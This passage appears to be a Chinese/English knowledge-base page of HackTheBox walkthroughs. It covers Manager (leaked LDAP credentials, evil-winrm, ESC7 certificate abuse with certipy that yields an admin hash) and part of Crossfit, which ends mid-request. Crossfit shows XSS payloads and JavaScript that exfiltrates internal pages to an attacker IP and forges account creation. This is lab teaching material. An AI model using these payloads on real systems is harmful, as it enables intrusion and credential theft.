$Recycle.Bin                    1      0

Documents and Settings          1      0

inetpub                         1      0

PerfLogs                        1      0

Program Files                   1      0

Program Files (x86)             1      0

ProgramData                     1      0

Recovery                        1      0

SQL2019                         1      0

System Volume Information       1      0

Users                           1      0

Windows                         1      0

SQL (MANAGER\Operator  guest@master)> xp_dirtree \inetpub\wwwroot
subdirectory                      depth   file
-------------------------------   -----   ----
about.html                            1      1

contact.html                          1      1

css                                   1      0

images                                1      0

index.html                            1      1

js                                    1      0

service.html                          1      1

web.config                            1      1

website-backup-27-07-23-old.zip       1      1
```

在这里看到一个有趣的文件，website-backup-27-07-23-old.zip，它似乎是网站的备份文件。考虑到它在web文件夹中的位置，可以下载它。

``` bash
wget http://10.10.11.236/website-backup-27-07-23-old.zip
```

解压后发现一个文件，.old-conf.xml

``` bash
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <server>
      <host>dc01.manager.htb</host>
      <open-port enabled="true">389</open-port>
      <secure-port enabled="false">0</secure-port>
      <search-base>dc=manager,dc=htb</search-base>
      <server-type>microsoft</server-type>
      <access-user>
         <user>raven@manager.htb</user>
         <password>R4v3nBe5tD3veloP3r!123</password>
      </access-user>
      <uid-attribute>cn</uid-attribute>
   </server>
   <search type="full">
      <dir-list>
         <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
      </dir-list>
   </search>
</ldap-conf>
```

使用里面的账号密码远程连接WinRM服务

``` bash
{} manager evil-winrm -i manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents> whoami
manager\raven
*Evil-WinRM* PS C:\Users\Raven\Documents> cat c:\users\raven\desktop\user.txt
c13f7c3c5d1b9ce228ea434ac01a07b9
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/manager2.png)

#### 提权

尝试在证书颁发机构中识别潜在的错误配置。利用[certipy](https://github.com/ly4k/Certipy)来查找可能存在的任何漏洞。

``` bash
{} manager certipy-ad find -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout -vulnerable
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB
    Certificate Validity Start          : 2023-07-27 10:21:05+00:00
    Certificate Validity End            : 2122-07-27 10:31:04+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator
                                          MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
        ManageCa                        : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates
```

该结果指出用户Raven拥有危险权限，特别是对证书颁发机构具有"ManageCA"权限。这意味着通过利用ESC7场景，可以在作为用户Raven操作时将权限提升到Domain Admin。关于ESC7场景的详细利用过程在[Vulnerable Certificate Authority Access Control - ESC7](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#vulnerable-certificate-authority-access-control-esc7)。

为了利用这一点，首先需要将Raven添加为"officer"，这样我们就可以手动管理证书并颁发证书。

``` bash
{} manager certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-dc01-ca -add-officer raven -debug
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.236:636 - ssl
[+] Default path: DC=manager,DC=htb
[+] Configuration path: CN=Configuration,DC=manager,DC=htb
[+] Trying to get DCOM connection for: 10.10.11.236
[*] Successfully added officer 'Raven' on 'manager-dc01-ca'
```

既然是officer，就可以签发和管理证书了。带-enable-template标志的CA可以启用SubCA模板。

``` bash
{} manager certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-dc01-ca -enable-template subca
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-dc01-ca'
```

使用-list-templates标志可以列出已启用的证书模板。

``` bash
{} manager certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-dc01-ca -list-templates
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Enabled certificate templates on 'manager-dc01-ca':
    SubCA
    DirectoryEmailReplication
    DomainControllerAuthentication
    KerberosAuthentication
    EFSRecovery
    EFS
    DomainController
    WebServer
    Machine
    User
    Administrator
```

进攻的先决条件现在已经满足了。拥有Manage Certificates权限(通过ManageCA授予)，并确保启用了SubCA模板。

现在基于SubCA模板请求一个证书。此请求将被拒绝，但将获得请求ID和私钥，并将其保存到一个文件中。

``` bash
{} manager certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-dc01-ca -template SubCA -upn administrator@manager.htb
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 15
Would you like to save the private key? (y/N) y
[*] Saved private key to 15.key
[-] Failed to request certificate
```

注意到证书请求ID是15。现在使用获得的权限使用ca命令和-issue-request 手动颁发失败的证书。

``` bash
{} manager certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-dc01-ca -issue-request 15
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate
```

***如果在这个阶段，您得到一个[-] Got access denied trying to issue certificate错误，重新运行添加Raven作为manager的命令。box的清理脚本可能已经恢复了初始权限。***

最后，使用req命令和-retrieve请求 检索已颁发的证书.

``` bash
{} manager certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-dc01-ca -retrieve 15
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 15
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '15.key'
[*] Saved certificate and private key to 'administrator.pfx'
```

有了管理员的PFX文件，现在可以利用它进行身份验证。在运行auth命令时，遇到错误"KRB_AP_ERR_SKEW (Clock skew too great)"。

``` bash
certipy-ad auth -pfx administrator.pfx
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError:
KRB_AP_ERR_SKEW(Clock skew too great)
```

"KRB_AP_ERR_SKEW"错误发生在客户机和KDC服务器之间存在明显的时差时，影响Kerberos身份验证过程。解决这个问题需要将我们机器的时钟与服务器的时钟同步。

为此，需要禁用机器设置中的"Automatic Date & Time"设置，并运行以下命令来同步时钟:

``` bash
ntpdate -s manager.htb
```

再次运行该命令将成功转储admin hash

``` bash
{} manager certipy-ad auth -pfx administrator.pfx
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/manager3.png)

利用管理员的hash来使用Evil-WinRM获得访问权限，并从系统中拿到root flag。

``` bash
{} manager evil-winrm -i manager.htb -u administrator -H ae5064c2f62317332c88629e025924ef

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
manager\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat c:\users\administrator\desktop\root.txt
f2685a47e8792f1de95141fc718dcf51
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/manager4.png)

#### Reference Sources

 - [0xdf's blog Coder walkthrough](https://0xdf.gitlab.io/2024/03/16/htb-manager.html)
 - [Impacket库的lookupsid模块](https://github.com/SecureAuthCorp/impacket)
 - [NetExec](https://github.com/Pennyw0rth/NetExec)
 - [certipy](https://github.com/ly4k/Certipy)
 - [Vulnerable Certificate Authority Access Control - ESC7](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#vulnerable-certificate-authority-access-control-esc7)

<!-- kb:end htb-manager -->

</details>




# 浏览器上下文与跨权限操作

XSS 的影响取决于受害者当前身份、浏览器可达接口以及后续服务器处理。本章保留 Crossfit 和 Schooled 的脚本、请求和角色变化，让浏览器行为与服务端证据对应起来。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/xss/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Crossfit 记录读取页面、构造操作与后台任务，后续还有独立的密钥分析。

Schooled 的教师会话与 Moodle 角色连接插件执行，FreeBSD 包管理器形成后半链。

其他包含 XSS 的复合案例在对应主题中保留原链，可从主题索引交叉定位。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [受害浏览器请求与任务执行](#case-crossfit) | crossfit | XSS、命令注入、计划任务、SSH |
| [教学平台角色边界与插件执行](#case-schooled) | schooled | XSS、Moodle、FreeBSD、CVE-2020-14321 |

<a id="case-crossfit"></a>

## 受害浏览器请求与任务执行

XSS 承接管理页面操作，后续分析 PHP 参数转义、数据库任务及进程。随机数生成器和 ed25519 密钥分支保留逆向与脚本证据。

<p class="kb-provenance">来源 crossfit · 原记录 2020-11-28 · 57 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-crossfit">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start crossfit -->

#### introduce

OS: Linux
Difficulty: Insane
Points:	50
Release:	19 Sep 2020
IP:	10.10.10.208

User Blood haqpl	00 days, 15 hours, 52 mins, 14 seconds.
Root Blood haqpl	01 days, 00 hours, 25 mins, 20 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb126.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.208
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
Service Info: Host: Cross; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

#### Port-80

There is a default apache web server page.

I use gobuster but nothing interesting found.

And also ftp anonymous login is not allowed.

So i run nmap again for a specific port.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# nmap -sC -sV -p 21 -vvv 10.10.10.208
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 2.0.8 or later
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US/emailAddress=info@gym-club.crossfit.htb
| Issuer: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US/emailAddress=info@gym-club.crossfit.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-30T19:16:46
| Not valid after:  3991-08-16T19:16:46
| MD5:   557c 36e4 424b 381e eb17 708a 6138 bd0f
| SHA-1: 25ec d2fe 6c9d 7704 ec7d d792 8767 4bc3 8d0e cbce
| -----BEGIN CERTIFICATE-----
| MIID0TCCArmgAwIBAgIUFlxL1ZITpUBfx69st7fRkJcsNI8wDQYJKoZIhvcNAQEL
| BQAwdzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAk5ZMRcwFQYDVQQKDA5Dcm9zcyBG
| aXQgTHRkLjEXMBUGA1UEAwwOKi5jcm9zc2ZpdC5odGIxKTAnBgkqhkiG9w0BCQEW
| GmluZm9AZ3ltLWNsdWIuY3Jvc3NmaXQuaHRiMCAXDTIwMDQzMDE5MTY0NloYDzM5
| OTEwODE2MTkxNjQ2WjB3MQswCQYDVQQGEwJVUzELMAkGA1UECAwCTlkxFzAVBgNV
| BAoMDkNyb3NzIEZpdCBMdGQuMRcwFQYDVQQDDA4qLmNyb3NzZml0Lmh0YjEpMCcG
| CSqGSIb3DQEJARYaaW5mb0BneW0tY2x1Yi5jcm9zc2ZpdC5odGIwggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDgibxJvtPny7Vee6M0BFBPFBohEQ+0zLDq
| LdkW/OSl4tfEdZYn6U5cNYKTyYJ8CuytGlMpFw5OgOBPATtBYoGrQZdlN+7LQwF+
| CZsedPs30ijAhygI7pM5S0hwiqdVReR/hhFHD/zry3M5+9NGeDLPgLbQG8qgPspv
| Y+ErCXXotxVI+VrTPfGkjPixfgUTYsEetrkmXlig0S2ukxmNs7HXkjli4Z+qpGrn
| mpFQokBE6RlD6VjxPzx0pfgK587s7F0/pIfXTHGfIOMnqXuLKBXsYIAEjJQxlLUt
| U3lb7aZdqIZnvhTuzuOxFUIe5dRWyfERyODEd5WUlwsbY4Qo2HhZAgMBAAGjUzBR
| MB0GA1UdDgQWBBTG3S2NuuXiSQ4dRvDnLqiWQdvY7jAfBgNVHSMEGDAWgBTG3S2N
| uuXiSQ4dRvDnLqiWQdvY7jAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
| A4IBAQB/tGKHZ9oXsqLGGW0wRRgCZj2adl1sq3S69e9R4yVQW7zU2Sw38CAA/O07
| MEgbqrzUI0c/T+Wb1D+gRamCUxSB7FXfMzGRhwUqMsLp8uGNlxyDcMU34ecRwOil
| r4jLmfeGyok1r8CFHg8Om1TeZfzNeVtkAkqf3XoIxbKQk4s779n/84FAtLkZNqyb
| cSv8nnClQQSlf42P3AiRBbwM1Cx9SyKq977sIwOzKTOM4NcSivNdtov+Pc0z+T9I
| 95SsqLKtO/8T0h6hgY6JQG1+A4ivnlZ8nqSFWYsnX10lJN2URlAwXUYuTw0vCMy+
| Xk0OmbR/oG052H02ZsmfJQhqPNF1
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
Service Info: Host: Cross
```

So with the help of nmap we find 1 sub-domain Let's add this in our /etc/hosts file.

nano /etc/hosts

``` bash
10.10.10.208      gym-club.crossfit.htb
```

Let's go to http://gym-club.crossfit.htb/.

After some enumeration i find a comment form let's try something in that.

First i capture the request in my burp and try various thing like XSS.

I change User-Agent feild and comment feild to ping my python simpleHttpServer.

http://gym-club.crossfit.htb/blog-single.php

``` bash
<script src="http://10.10.14.8:8001/"></script>
```

``` bash
POST /blog-single.php HTTP/1.1

Host: gym-club.crossfit.htb

User-Agent: <script src="http://10.10.14.8:8001/"></script>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 154

Origin: http://gym-club.crossfit.htb

Connection: close

Referer: http://gym-club.crossfit.htb/blog-single.php

Upgrade-Insecure-Requests: 1



name=lucifer11&email=1185151867%40qq.com&phone=17746608760&message=<script src="http://10.10.14.8:8001/"></script>&submit=submit
```

``` bash
┌──(root💀kali)-[~]
└─# python -m SimpleHTTPServer 8001                                                                           
Serving HTTP on 0.0.0.0 port 8001 ...
10.10.10.208 - - [28/Nov/2020 08:19:27] "GET / HTTP/1.1" 200 -
```

Now i try everything but nothing work so think about other ways that we need to attack ftp.crossfit.htb.

But the question is where he find that subdomain.

After some hit and try i understand that we need to find that from localhost (using XSS) can see another vhost that only accepts resquest from the local machine and the host is ftp.crossfit.htb that thinking about.

 - [Create a HTTP Request in JS](https://mincong.io/2018/06/19/sending-http-request-from-browser/)

With the help of this article i find my way to communicate with ftp.crossfit.htb.

So what we do now we create a .js file called luci.js that give the response page of the ftp.crossfit.htb in our python server.

Let's try this real quick.

#### step 1

Create a file called luci.js

 - luci.js

``` bash
myhttpserver = 'http://10.10.14.8/'
targeturl = 'http://ftp.crossfit.htb/'

req = new XMLHttpRequest;
req.onreadystatechange = function() {
    if (req.readyState == 4) {
            req2 = new XMLHttpRequest;
            req2.open('GET', myhttpserver + btoa(this.responseText),false);
            req2.send();
        }
}
req.open('GET', targeturl, false);
req.send();
```

#### step 2

Open a python simple http server in your working directory were the luci.js file exist.

``` bash
python3 -m http.server 80
```

Now capture the request of comment form and send it to the repeater tab and add the value that show in the image.

``` bash
<script src="http://10.10.14.8/luci.js"></script>
```

burp request:

``` bash
POST /blog-single.php HTTP/1.1

Host: gym-club.crossfit.htb

User-Agent: <script src="http://10.10.14.8/luci.js"></script>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 93

Origin: http://gym-club.crossfit.htb

Connection: close

Referer: http://gym-club.crossfit.htb/blog-single.php

Upgrade-Insecure-Requests: 1



name=lucifer11&email=1185151867%40qq.com&phone=17746608760&message=%3Cscript%3E&submit=submit
```

Let's send the request and check our python server.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.208 - - [28/Nov/2020 08:45:54] "GET /luci.js HTTP/1.1" 200 -
10.10.10.208 - - [28/Nov/2020 08:45:55] code 404, message File not found
10.10.10.208 - - [28/Nov/2020 08:45:55] "GET /PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+RlRQIEhvc3RpbmcgLSBBY2NvdW50IE1hbmFnZW1lbnQ8L3RpdGxlPgogICAgPGxpbmsgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvdHdpdHRlci1ib290c3RyYXAvNC4wLjAtYWxwaGEvY3NzL2Jvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CjwvaGVhZD4KPGJvZHk+Cgo8YnI+CjxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIgbWFyZ2luLXRiIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icHVsbC1sZWZ0Ij4KICAgICAgICAgICAgICAgIDxoMj5GVFAgSG9zdGluZyAtIEFjY291bnQgTWFuYWdlbWVudDwvaDI+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJwdWxsLXJpZ2h0Ij4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiIGhyZWY9Imh0dHA6Ly9mdHAuY3Jvc3NmaXQuaHRiL2FjY291bnRzL2NyZWF0ZSI+IENyZWF0ZSBOZXcgQWNjb3VudDwvYT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCiAgICAKICAgIDx0YWJsZSBjbGFzcz0idGFibGUgdGFibGUtYm9yZGVyZWQiPgogICAgICAgIDx0cj4KICAgICAgICAgICAgPHRoPk5vPC90aD4KICAgICAgICAgICAgPHRoPlVzZXJuYW1lPC90aD4KICAgICAgICAgICAgPHRoPkNyZWF0aW9uIERhdGU8L3RoPgogICAgICAgICAgICA8dGggd2lkdGg9IjI4MHB4Ij5BY3Rpb248L3RoPgogICAgICAgIDwvdHI+CgogICAgICAgIAogICAgPC90YWJsZT4KCiAgICAKCjwvZGl2PgoKPC9ib2R5Pgo8L2h0bWw+Cg== HTTP/1.1" 404 -
```

It give us a base64 string.

Let's decode this and see what inside.

``` bash
<!DOCTYPE html>

<html>
<head>
    <title>FTP Hosting - Account Management</title>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha/css/bootstrap.css" rel="stylesheet">
</head>
<body>

<br>
<div class="container">
        <div class="row">
        <div class="col-lg-12 margin-tb">
            <div class="pull-left">
                <h2>FTP Hosting - Account Management</h2>
            </div>
            <div class="pull-right">
                <a class="btn btn-success" href="http://ftp.crossfit.htb/accounts/create"> Create New Account</a>
            </div>
        </div>
    </div>

    
    <table class="table table-bordered">
        <tr>
            <th>No</th>
            <th>Username</th>
            <th>Creation Date</th>
            <th width="280px">Action</th>
        </tr>

        
    </table>

    

</div>

</body>
</html>
```

It's a html code for ftp.crossfit.htb wepsite.

If you not conform Let's open this in browser.

It's a FTP Hosting - Account Management page.

Let's create new user.

But first Let's check what is the url when we click on create new account.

``` bash
http://ftp.crossfit.htb/accounts/create
```

let's add this in our luci.js and check how's the page look on ftp.crossfit.htb/accounts/create

luci.js

``` bash
myhttpserver = 'http://10.10.14.8/'
targeturl = 'http://ftp.crossfit.htb/accounts/create'

req = new XMLHttpRequest;
req.onreadystatechange = function() {
    if (req.readyState == 4) {
            req2 = new XMLHttpRequest;
            req2.open('GET', myhttpserver + btoa(this.responseText),false);
            req2.send();
        }
}
req.open('GET', targeturl, false);
req.send();
```

Let's send the request again in burp.

And we got the response.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.208 - - [28/Nov/2020 08:55:42] "GET /luci.js HTTP/1.1" 200 -
10.10.10.208 - - [28/Nov/2020 08:55:42] code 404, message File not found
10.10.10.208 - - [28/Nov/2020 08:55:42] "GET /PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+RlRQIEhvc3RpbmcgLSBBY2NvdW50IE1hbmFnZW1lbnQ8L3RpdGxlPgogICAgPGxpbmsgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvdHdpdHRlci1ib290c3RyYXAvNC4wLjAtYWxwaGEvY3NzL2Jvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CjwvaGVhZD4KPGJvZHk+Cgo8YnI+CjxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAKPGRpdiBjbGFzcz0icm93Ij4KICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0xMiBtYXJnaW4tdGIiPgogICAgICAgIDxkaXYgY2xhc3M9InB1bGwtbGVmdCI+CiAgICAgICAgICAgIDxoMj5BZGQgTmV3IEFjY291bnQ8L2gyPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9InB1bGwtcmlnaHQiPgogICAgICAgICAgICA8YSBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5IiBocmVmPSJodHRwOi8vZnRwLmNyb3NzZml0Lmh0Yi9hY2NvdW50cyI+IEJhY2s8L2E+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KPC9kaXY+CgoKPGZvcm0gYWN0aW9uPSJodHRwOi8vZnRwLmNyb3NzZml0Lmh0Yi9hY2NvdW50cyIgbWV0aG9kPSJQT1NUIj4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Il90b2tlbiIgdmFsdWU9IkJobURaQWlMN0JDc01kbnRvOXIwTnlyVW5yTldQcFhZRE1HbEVtQ08iPgogICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTEyIGNvbC1zbS0xMiBjb2wtbWQtMTIiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgICAgICAgIDxzdHJvbmc+VXNlcm5hbWU6PC9zdHJvbmc+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlcm5hbWUiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJVc2VybmFtZSI+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy0xMiBjb2wtc20tMTIgY29sLW1kLTEyIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICA8c3Ryb25nPlBhc3N3b3JkOjwvc3Ryb25nPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteHMtMTIgY29sLXNtLTEyIGNvbC1tZC0xMiB0ZXh0LWNlbnRlciI+CiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSI+U3VibWl0PC9idXR0b24+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCjwvZm9ybT4KCjwvZGl2PgoKPC9ib2R5Pgo8L2h0bWw+Cg== HTTP/1.1" 404 -
```

Again decode it and open in browser.

``` bash
<!DOCTYPE html>

<html>
<head>
    <title>FTP Hosting - Account Management</title>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha/css/bootstrap.css" rel="stylesheet">
</head>
<body>

<br>
<div class="container">
    
<div class="row">
    <div class="col-lg-12 margin-tb">
        <div class="pull-left">
            <h2>Add New Account</h2>
        </div>
        <div class="pull-right">
            <a class="btn btn-primary" href="http://ftp.crossfit.htb/accounts"> Back</a>
        </div>
    </div>
</div>


<form action="http://ftp.crossfit.htb/accounts" method="POST">
    <input type="hidden" name="_token" value="BhmDZAiL7BCsMdnto9r0NyrUnrNWPpXYDMGlEmCO">
     <div class="row">
        <div class="col-xs-12 col-sm-12 col-md-12">
            <div class="form-group">
                <strong>Username:</strong>
                <input type="text" name="username" class="form-control" placeholder="Username">
            </div>
        </div>
        <div class="col-xs-12 col-sm-12 col-md-12">
            <div class="form-group">
                <strong>Password:</strong>
                <input type="password" name="pass" class="form-control" placeholder="Password">
            </div>
        </div>
        <div class="col-xs-12 col-sm-12 col-md-12 text-center">
                <button type="submit" class="btn btn-primary">Submit</button>
        </div>
    </div>

</form>

</div>

</body>
</html>
```

There is two field username and password.

But the tricky part is if you see the source code there is a hidden value called _token which value dynamically change so if we create a payload to register user we need to grep the _token value from web page.

After some hit and try create a payload to register user.

createuser.js

``` bash
myhttpserver = 'http://10.10.14.8'
targeturl = 'http://ftp.crossfit.htb/accounts/create'
username = 'luci'
password = 'lucifer11'

req = new XMLHttpRequest;
req.withCredentials = true;
req.onreadystatechange = function() {
    if (req.readyState == 4) {
        req2 = new XMLHttpRequest;
        req2.open('GET', myhttpserver + btoa(this.responseText), false);
        req2.send();
    }
}
req.open('GET', targeturl, false);
req.send();

regx = /token" value="(.*)"/g;
token = regx.exec(req.responseText)[1];

var params = '_token=' + token + '&username=' + username + '&pass=' + password + '&submit=submit'
req.open('POST', "http://ftp.crossfit.htb/accounts", false);
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send(params);
```

Now send the req in burp with this createuser.js file like this.

``` bash
<script src="http://10.10.14.8/createuser.js"></script>
```

``` bash
POST /blog-single.php HTTP/1.1

Host: gym-club.crossfit.htb

User-Agent: <script src="http://10.10.14.8/createuser.js"></script>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 93

Origin: http://gym-club.crossfit.htb

Connection: close

